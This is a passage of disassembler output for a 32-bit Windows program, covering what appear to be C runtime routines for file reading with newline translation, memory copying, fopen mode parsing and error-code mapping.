		mov	dword ptr [esi+18h], 1000h


loc_417512:				; CODE XREF: sub_417455+A7j
					; sub_417455+AFj ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_417520:				; CODE XREF: sub_417455+57j
					; sub_417455+5Cj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_417531:				; CODE XREF: sub_417455+Aj
					; sub_417455+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_417455	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417536	proc near		; CODE XREF: sub_417703+52p
					; sub_41BFAD+2A7p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		and	[ebp+var_8], 0
		cmp	[ebp+arg_8], 0
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		mov	edx, ebx
		jz	loc_4176FC
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		lea	esi, [eax+eax*8]
		lea	edi, ds:47A2E0h[ecx*4]
		mov	eax, [edi]
		shl	esi, 2
		add	eax, esi
		mov	cl, [eax+4]
		test	cl, 2
		jnz	loc_4176FC
		test	cl, 48h
		jz	short loc_41759C
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41759C
		dec	[ebp+arg_8]
		mov	[ebx], al
		mov	eax, [edi]
		lea	edx, [ebx+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41759C:				; CODE XREF: sub_417536+47j
					; sub_417536+4Ej
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+arg_8]
		mov	eax, [edi]
		push	edx
		push	dword ptr [eax+esi]
		call	ds:dword_41F058
		test	eax, eax
		jnz	short loc_4175EE
		call	ds:dword_41F008
		push	5
		pop	esi
		cmp	eax, esi
		jnz	short loc_4175D6
		call	sub_417C70
		mov	dword ptr [eax], 9
		call	sub_417C79
		mov	[eax], esi
		jmp	short loc_4175E6
; ---------------------------------------------------------------------------


loc_4175D6:				; CODE XREF: sub_417536+8Aj
		cmp	eax, 6Dh
		jz	loc_4176FC
		push	eax
		call	sub_417C82
		pop	ecx


loc_4175E6:				; CODE XREF: sub_417536+9Ej
		or	eax, 0FFFFFFFFh
		jmp	loc_4176FE
; ---------------------------------------------------------------------------


loc_4175EE:				; CODE XREF: sub_417536+7Dj
		mov	eax, [edi]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [ecx]
		test	al, al
		jns	loc_4176F7
		test	edx, edx
		jz	short loc_417611
		cmp	byte ptr [ebx],	0Ah
		jnz	short loc_417611
		or	al, 4
		jmp	short loc_417613
; ---------------------------------------------------------------------------


loc_417611:				; CODE XREF: sub_417536+D0j
					; sub_417536+D5j
		and	al, 0FBh


loc_417613:				; CODE XREF: sub_417536+D9j
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+arg_8], eax
		mov	[ebp+var_8], ecx
		jnb	loc_4176F1


loc_41762B:				; CODE XREF: sub_417536+1A3j
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_4176E1
		cmp	al, 0Dh
		jz	short loc_417647
		mov	[ebx], al
		inc	ebx
		inc	[ebp+arg_8]
		jmp	loc_4176D3
; ---------------------------------------------------------------------------


loc_417647:				; CODE XREF: sub_417536+104j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_417661
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41765C
		add	[ebp+arg_8], 2
		jmp	short loc_4176B5
; ---------------------------------------------------------------------------


loc_41765C:				; CODE XREF: sub_417536+11Ej
		mov	[ebp+arg_8], eax
		jmp	short loc_4176CF
; ---------------------------------------------------------------------------


loc_417661:				; CODE XREF: sub_417536+115j
		inc	[ebp+arg_8]
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		push	1
		lea	eax, [ebp+var_1]
		push	eax
		mov	eax, [edi]
		push	dword ptr [eax+esi]
		call	ds:dword_41F058
		test	eax, eax
		jnz	short loc_417689
		call	ds:dword_41F008
		test	eax, eax
		jnz	short loc_4176CF


loc_417689:				; CODE XREF: sub_417536+147j
		cmp	[ebp+var_C], 0
		jz	short loc_4176CF
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_4176AA
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_4176B5
		mov	byte ptr [ebx],	0Dh
		mov	ecx, [edi]
		mov	[ecx+esi+5], al
		jmp	short loc_4176D2
; ---------------------------------------------------------------------------


loc_4176AA:				; CODE XREF: sub_417536+160j
		cmp	ebx, [ebp+arg_4]
		jnz	short loc_4176BA
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_4176BA


loc_4176B5:				; CODE XREF: sub_417536+124j
					; sub_417536+167j
		mov	byte ptr [ebx],	0Ah
		jmp	short loc_4176D2
; ---------------------------------------------------------------------------


loc_4176BA:				; CODE XREF: sub_417536+177j
					; sub_417536+17Dj
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_419BC9
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_4176D3


loc_4176CF:				; CODE XREF: sub_417536+129j
					; sub_417536+151j ...
		mov	byte ptr [ebx],	0Dh


loc_4176D2:				; CODE XREF: sub_417536+172j
					; sub_417536+182j
		inc	ebx


loc_4176D3:				; CODE XREF: sub_417536+10Cj
					; sub_417536+197j
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41762B
		jmp	short loc_4176F1
; ---------------------------------------------------------------------------


loc_4176E1:				; CODE XREF: sub_417536+FCj
		mov	eax, [edi]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_4176F1
		or	al, 2
		mov	[esi], al


loc_4176F1:				; CODE XREF: sub_417536+EFj
					; sub_417536+1A9j ...
		sub	ebx, [ebp+arg_4]
		mov	[ebp+var_8], ebx


loc_4176F7:				; CODE XREF: sub_417536+C8j
		mov	eax, [ebp+var_8]
		jmp	short loc_4176FE
; ---------------------------------------------------------------------------


loc_4176FC:				; CODE XREF: sub_417536+16j
					; sub_417536+3Ej ...
		xor	eax, eax


loc_4176FE:				; CODE XREF: sub_417536+B3j
					; sub_417536+1C4j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417536	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417703	proc near		; CODE XREF: sub_413055+91p
					; sub_417455+4Ap

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 00417792 SIZE 0000001C BYTES

		push	0Ch
		push	offset stru_427A40
		call	__SEH_prolog
		mov	ebx, [ebp+arg_0]
		cmp	ebx, dword_47A2C8
		jnb	short loc_417792
		mov	eax, ebx
		sar	eax, 5
		lea	edi, ds:47A2E0h[eax*4]
		mov	eax, ebx
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		shl	esi, 2
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_417792
		push	ebx
		call	sub_41B7AC
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_417762
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	ebx
		call	sub_417536
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		jmp	short loc_417779
; ---------------------------------------------------------------------------


loc_417762:				; CODE XREF: sub_417703+49j
		call	sub_417C70
		mov	dword ptr [eax], 9
		call	sub_417C79
		and	dword ptr [eax], 0
		or	[ebp+var_1C], 0FFFFFFFFh


loc_417779:				; CODE XREF: sub_417703+5Dj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41778A
		mov	eax, [ebp+var_1C]
		jmp	short loc_4177A8
sub_417703	endp


; =============== S U B	R O U T	I N E =======================================



sub_417787	proc near		; DATA XREF: .rdata:stru_427A40o
		mov	ebx, [ebp+8]
sub_417787	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41778A	proc near		; CODE XREF: sub_417703+7Ap
		push	ebx
		call	sub_41B81F
		pop	ecx
		retn
sub_41778A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_417703


loc_417792:				; CODE XREF: sub_417703+15j
					; sub_417703+35j
		call	sub_417C70
		mov	dword ptr [eax], 9
		call	sub_417C79
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh


loc_4177A8:				; CODE XREF: sub_417703+82j
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_417703
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4177B0	proc near		; CODE XREF: sub_413055+5Fp
					; sub_41318A+A8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4177D0
		cmp	edi, eax
		jb	loc_41794C


loc_4177D0:				; CODE XREF: sub_4177B0+16j
		test	edi, 3
		jnz	short loc_4177EC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41780C
		rep movsd
		jmp	ds:off_4178FC[edx*4]
; ---------------------------------------------------------------------------


loc_4177EC:				; CODE XREF: sub_4177B0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_417804
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:loc_41780C+4[eax*4]
; ---------------------------------------------------------------------------


loc_417804:				; CODE XREF: sub_4177B0+46j
		jmp	dword ptr ds:loc_41790C[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41780C:				; CODE XREF: sub_4177B0+31j
					; sub_4177B0+8Ej ...
		jmp	ds:off_417890[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_417820
		dd offset loc_41784C
		dd offset loc_417870
; ---------------------------------------------------------------------------


loc_417820:				; DATA XREF: sub_4177B0+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41780C
		rep movsd
		jmp	ds:off_4178FC[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41784C:				; DATA XREF: sub_4177B0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41780C
		rep movsd
		jmp	ds:off_4178FC[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_417870:				; DATA XREF: sub_4177B0+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		add	esi, 1
		shr	ecx, 2
		add	edi, 1
		cmp	ecx, 8
		jb	short loc_41780C
		rep movsd
		jmp	ds:off_4178FC[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_417890	dd offset loc_4178F3	; DATA XREF: sub_4177B0:loc_41780Cr
		dd offset loc_4178E0
		dd offset loc_4178D8
		dd offset loc_4178D0
		dd offset loc_4178C8
		dd offset loc_4178C0
		dd offset loc_4178B8
		dd offset loc_4178B0
; ---------------------------------------------------------------------------


loc_4178B0:				; CODE XREF: sub_4177B0:loc_41780Cj
					; DATA XREF: sub_4177B0+FCo
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_4178B8:				; CODE XREF: sub_4177B0:loc_41780Cj
					; DATA XREF: sub_4177B0+F8o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_4178C0:				; CODE XREF: sub_4177B0:loc_41780Cj
					; DATA XREF: sub_4177B0+F4o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_4178C8:				; CODE XREF: sub_4177B0:loc_41780Cj
					; DATA XREF: sub_4177B0+F0o
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_4178D0:				; CODE XREF: sub_4177B0:loc_41780Cj
					; DATA XREF: sub_4177B0+ECo
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_4178D8:				; CODE XREF: sub_4177B0:loc_41780Cj
					; DATA XREF: sub_4177B0+E8o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_4178E0:				; CODE XREF: sub_4177B0:loc_41780Cj
					; DATA XREF: sub_4177B0+E4o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4178F3:				; CODE XREF: sub_4177B0:loc_41780Cj
					; DATA XREF: sub_4177B0:off_417890o
		jmp	ds:off_4178FC[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4178FC	dd offset loc_41790C	; DATA XREF: sub_4177B0+35r
					; sub_4177B0+92r ...
		dd offset loc_417914
		dd offset loc_417920
		dd offset loc_417934
; ---------------------------------------------------------------------------


loc_41790C:				; CODE XREF: sub_4177B0+35j
					; sub_4177B0+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_417914:				; CODE XREF: sub_4177B0+35j
					; sub_4177B0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_417920:				; CODE XREF: sub_4177B0+35j
					; sub_4177B0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_417934:				; CODE XREF: sub_4177B0+35j
					; sub_4177B0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41794C:				; CODE XREF: sub_4177B0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_417980
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_417974
		std
		rep movsd
		cld
		jmp	ds:off_417A98[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_417974:				; CODE XREF: sub_4177B0+1B5j
					; sub_4177B0+210j ...
		neg	ecx
		jmp	ds:off_417A48[ecx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_417980:				; CODE XREF: sub_4177B0+1AAj
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_417998
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr ds:loc_417998+4[eax*4]
; ---------------------------------------------------------------------------


loc_417998:				; CODE XREF: sub_4177B0+1DAj
					; DATA XREF: sub_4177B0+1E1r
		jmp	ds:off_417A98[ecx*4]
; ---------------------------------------------------------------------------
		align 10h
		lodsb
		jns	short loc_4179E4
		add	al, dl
		jns	short near ptr loc_4179E7+1
		add	al, bh
		jns	short loc_4179EC
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		sub	esi, 1
		shr	ecx, 2
		sub	edi, 1
		cmp	ecx, 8
		jb	short loc_417974
		std
		rep movsd
		cld
		jmp	ds:off_417A98[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2


loc_4179E4:				; CODE XREF: sub_4177B0+1F1j
		sub	edi, 2


loc_4179E7:				; CODE XREF: sub_4177B0+1F5j
		cmp	ecx, 8
		jb	short loc_417974


loc_4179EC:				; CODE XREF: sub_4177B0+1F9j
		std
		rep movsd
		cld
		jmp	ds:off_417A98[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_417974
		std
		rep movsd
		cld
		jmp	ds:off_417A98[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_417A4C
		dd offset loc_417A54
		dd offset loc_417A5C
		dd offset loc_417A64
		dd offset loc_417A6C
		dd offset loc_417A74
		dd offset loc_417A7C
off_417A48	dd offset loc_417A8F	; DATA XREF: sub_4177B0+1C6r
; ---------------------------------------------------------------------------


loc_417A4C:				; DATA XREF: sub_4177B0+27Co
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_417A54:				; DATA XREF: sub_4177B0+280o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_417A5C:				; DATA XREF: sub_4177B0+284o
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_417A64:				; DATA XREF: sub_4177B0+288o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_417A6C:				; DATA XREF: sub_4177B0+28Co
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_417A74:				; DATA XREF: sub_4177B0+290o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_417A7C:				; DATA XREF: sub_4177B0+294o
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_417A8F:				; CODE XREF: sub_4177B0+1C6j
					; DATA XREF: sub_4177B0:off_417A48o
		jmp	ds:off_417A98[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_417A98	dd offset loc_417AA8	; DATA XREF: sub_4177B0+1BBr
					; sub_4177B0:loc_417998r ...
		dd offset loc_417AB0
		dd offset loc_417AC0
		dd offset loc_417AD4
; ---------------------------------------------------------------------------


loc_417AA8:				; CODE XREF: sub_4177B0+1BBj
					; sub_4177B0:loc_417998j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_417AB0:				; CODE XREF: sub_4177B0+1BBj
					; sub_4177B0:loc_417998j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_417AC0:				; CODE XREF: sub_4177B0+1BBj
					; sub_4177B0:loc_417998j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_417AD4:				; CODE XREF: sub_4177B0+1BBj
					; sub_4177B0:loc_417998j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_4177B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_417AED	proc near		; CODE XREF: sub_41318A+150p
					; sub_41318A+19Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_47A010
		test	eax, eax
		jz	short loc_417B05
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_417B05
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_417B05:				; CODE XREF: sub_417AED+7j
					; sub_417AED+12j
		xor	eax, eax
		retn
sub_417AED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417B08	proc near		; CODE XREF: sub_413337+35p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_47A1B8
		push	edi
		mov	edi, [ebp+arg_4]
		mov	al, [edi]
		xor	ebx, ebx
		cmp	al, 61h
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		jz	short loc_417B41
		cmp	al, 72h
		jz	short loc_417B3A
		cmp	al, 77h
		jnz	loc_417C4D
		mov	ecx, 301h
		jmp	short loc_417B46
; ---------------------------------------------------------------------------


loc_417B3A:				; CODE XREF: sub_417B08+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_417B49
; ---------------------------------------------------------------------------


loc_417B41:				; CODE XREF: sub_417B08+1Dj
		mov	ecx, 109h


loc_417B46:				; CODE XREF: sub_417B08+30j
		or	esi, 2


loc_417B49:				; CODE XREF: sub_417B08+37j
		xor	edx, edx
		inc	edx
		jmp	loc_417C28
; ---------------------------------------------------------------------------


loc_417B51:				; CODE XREF: sub_417B08+125j
		cmp	edx, ebx
		jz	loc_417C33
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_417BD2
		jz	short loc_417BC5
		sub	eax, 2Bh
		jz	short loc_417BAF
		sub	eax, 19h
		jz	short loc_417BA5
		sub	eax, 0Eh
		jz	short loc_417B91
		dec	eax
		jnz	loc_417C0A
		cmp	[ebp+var_4], ebx
		jnz	loc_417C0A
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	loc_417C28
; ---------------------------------------------------------------------------


loc_417B91:				; CODE XREF: sub_417B08+68j
		cmp	[ebp+var_4], ebx
		jnz	short loc_417C0A
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	loc_417C28
; ---------------------------------------------------------------------------


loc_417BA5:				; CODE XREF: sub_417B08+63j
		test	cl, 40h
		jnz	short loc_417C0A
		or	ecx, 40h
		jmp	short loc_417C28
; ---------------------------------------------------------------------------


loc_417BAF:				; CODE XREF: sub_417B08+5Ej
		test	cl, 2
		jnz	short loc_417C0A
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_417C28
; ---------------------------------------------------------------------------


loc_417BC5:				; CODE XREF: sub_417B08+59j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_417C0A
		or	ecx, eax
		jmp	short loc_417C28
; ---------------------------------------------------------------------------


loc_417BD2:				; CODE XREF: sub_417B08+57j
		sub	eax, 62h
		jz	short loc_417C1D
		dec	eax
		jz	short loc_417C05
		sub	eax, 0Bh
		jz	short loc_417BF1
		sub	eax, 6
		jnz	short loc_417C0A
		test	ch, 0C0h
		jnz	short loc_417C0A
		or	ecx, 4000h
		jmp	short loc_417C28
; ---------------------------------------------------------------------------


loc_417BF1:				; CODE XREF: sub_417B08+D5j
		cmp	[ebp+var_8], ebx
		jnz	short loc_417C0A
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	short loc_417C28
; ---------------------------------------------------------------------------


loc_417C05:				; CODE XREF: sub_417B08+D0j
		cmp	[ebp+var_8], ebx
		jz	short loc_417C0E


loc_417C0A:				; CODE XREF: sub_417B08+6Bj
					; sub_417B08+74j ...
		xor	edx, edx
		jmp	short loc_417C28
; ---------------------------------------------------------------------------


loc_417C0E:				; CODE XREF: sub_417B08+100j
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	short loc_417C28
; ---------------------------------------------------------------------------


loc_417C1D:				; CODE XREF: sub_417B08+CDj
		test	ch, 0C0h
		jnz	short loc_417C0A
		or	ecx, 8000h


loc_417C28:				; CODE XREF: sub_417B08+44j
					; sub_417B08+84j ...
		inc	edi
		mov	al, [edi]
		cmp	al, bl
		jnz	loc_417B51


loc_417C33:				; CODE XREF: sub_417B08+4Bj
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_41C294
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_417C51


loc_417C4D:				; CODE XREF: sub_417B08+25j
		xor	eax, eax
		jmp	short loc_417C6B
; ---------------------------------------------------------------------------


loc_417C51:				; CODE XREF: sub_417B08+143j
		mov	eax, [ebp+arg_C]
		inc	dword_479EB8
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_417C6B:				; CODE XREF: sub_417B08+147j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417B08	endp


; =============== S U B	R O U T	I N E =======================================



sub_417C70	proc near		; CODE XREF: sub_413337+18p
					; sub_4134AF+2Bp ...
		call	sub_415456
		add	eax, 8
		retn
sub_417C70	endp


; =============== S U B	R O U T	I N E =======================================



sub_417C79	proc near		; CODE XREF: sub_4134AF+36p
					; sub_416387+8Ap ...
		call	sub_415456
		add	eax, 0Ch
		retn
sub_417C79	endp


; =============== S U B	R O U T	I N E =======================================



sub_417C82	proc near		; CODE XREF: sub_4134AF+16p
					; sub_414125+1Dp ...

arg_0		= dword	ptr  4

		push	esi
		call	sub_415456
		mov	ecx, [esp+4+arg_0]
		mov	[eax+0Ch], ecx
		xor	esi, esi


loc_417C91:				; CODE XREF: sub_417C82+1Cj
		cmp	ecx, dword_42CCB0[esi*8]
		jz	short loc_417CB8
		inc	esi
		cmp	esi, 2Dh
		jb	short loc_417C91
		cmp	ecx, 13h
		jb	short loc_417CC9
		cmp	ecx, 24h
		ja	short loc_417CC9
		call	sub_415456
		mov	dword ptr [eax+8], 0Dh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_417CB8:				; CODE XREF: sub_417C82+16j
		call	sub_415456
		mov	ecx, dword_42CCB4[esi*8]
		mov	[eax+8], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_417CC9:				; CODE XREF: sub_417C82+21j
					; sub_417C82+26j
		cmp	ecx, 0BCh
		jb	short loc_417CE7
		cmp	ecx, 0CAh
		ja	short loc_417CE7
		call	sub_415456
		mov	dword ptr [eax+8], 8
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_417CE7:				; CODE XREF: sub_417C82+4Dj
					; sub_417C82+55j
		call	sub_415456
		mov	dword ptr [eax+8], 16h
		pop	esi
		retn
sub_417C82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417CF5	proc near		; CODE XREF: sub_413337+Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	10h
		push	offset stru_427A50
		call	__SEH_prolog
		xor	ebx, ebx
		xor	edi, edi
		mov	[ebp+var_1C], edi
		push	1
		call	sub_416901
		pop	ecx
		mov	[ebp+ms_exc.disabled], ebx
		xor	esi, esi


loc_417D15:				; CODE XREF: sub_417CF5+85j
		mov	[ebp+var_20], esi
		cmp	esi, dword_47B660
		jge	loc_417DE4
		mov	eax, dword_47A644
		mov	eax, [eax+esi*4]
		cmp	eax, ebx
		jz	short loc_417D80
		test	byte ptr [eax+0Ch], 83h
		jnz	short loc_417D79
		cmp	esi, 2
		jle	short loc_417D52
		cmp	esi, 14h
		jge	short loc_417D52
		lea	eax, [esi+10h]
		push	eax
		call	sub_416882
		pop	ecx
		test	eax, eax
		jz	loc_417DE4


loc_417D52:				; CODE XREF: sub_417CF5+44j
					; sub_417CF5+49j
		mov	eax, dword_47A644
		push	dword ptr [eax+esi*4]
		push	esi
		call	sub_4166A2
		pop	ecx
		pop	ecx
		mov	eax, dword_47A644
		mov	eax, [eax+esi*4]
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_417D7C
		push	eax
		push	esi
		call	sub_4166F4
		pop	ecx
		pop	ecx


loc_417D79:				; CODE XREF: sub_417CF5+3Fj
		inc	esi
		jmp	short loc_417D15
; ---------------------------------------------------------------------------


loc_417D7C:				; CODE XREF: sub_417CF5+79j
		mov	edi, eax
		jmp	short loc_417DE1
; ---------------------------------------------------------------------------


loc_417D80:				; CODE XREF: sub_417CF5+39j
		shl	esi, 2
		push	38h
		call	sub_41344D
		pop	ecx
		mov	ecx, dword_47A644
		mov	[esi+ecx], eax
		mov	eax, dword_47A644
		mov	eax, [esi+eax]
		cmp	eax, ebx
		jz	short loc_417DE4
		push	0FA0h
		add	eax, 20h
		push	eax
		call	sub_41BBD8
		pop	ecx
		pop	ecx
		test	eax, eax
		mov	eax, dword_47A644
		jnz	short loc_417DCC
